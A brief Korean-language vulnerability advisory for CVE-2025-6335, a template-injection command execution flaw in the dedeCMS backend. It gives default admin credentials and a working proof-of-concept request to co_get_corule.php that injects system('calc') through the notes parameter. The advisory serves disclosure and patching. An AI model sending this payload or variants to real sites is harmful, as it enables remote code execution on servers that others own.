CVE-2025-6335

제목: dedeCMS 5.7 sp2 템플릿 주입 명령 실행 취약점

BUG_Author: Ewoji

영향받는 버전: dedeCMS < 5.7.2

공급업체: Shanghai Zhuozhuo Network Technology Co., LTD

소프트웨어: dedeCMS

취약점 파일:

• /include/dedetag.class.php

설명:

1. 설치 후 백그라운드에 로그인합니다.

   • 기본 계정/비밀번호 admin/admin 사용

2. 템플릿 악용

   • dede/co_get_corule.php 인터페이스에 접근합니다.
   • 파라미터 /dede/co_get_corule.php? notes={dede:"); system('calc'); ///}&job=1 를 전달합니다. 이렇게 두 번 접근하면 명령이 실행됩니다.

3. 익스플로잇 검증:

   • 주입이 성공하면 공격자는 임의의 명령을 실행할 수 있습니다.

개념 증명:

/dede/co_get_corule.php?notes={dede:");system('calc');///}&job=1
Accessing twice like this can execute the command

상세: CVE-2025-6335-dedeCMS 백엔드 템플릿 주입 RCE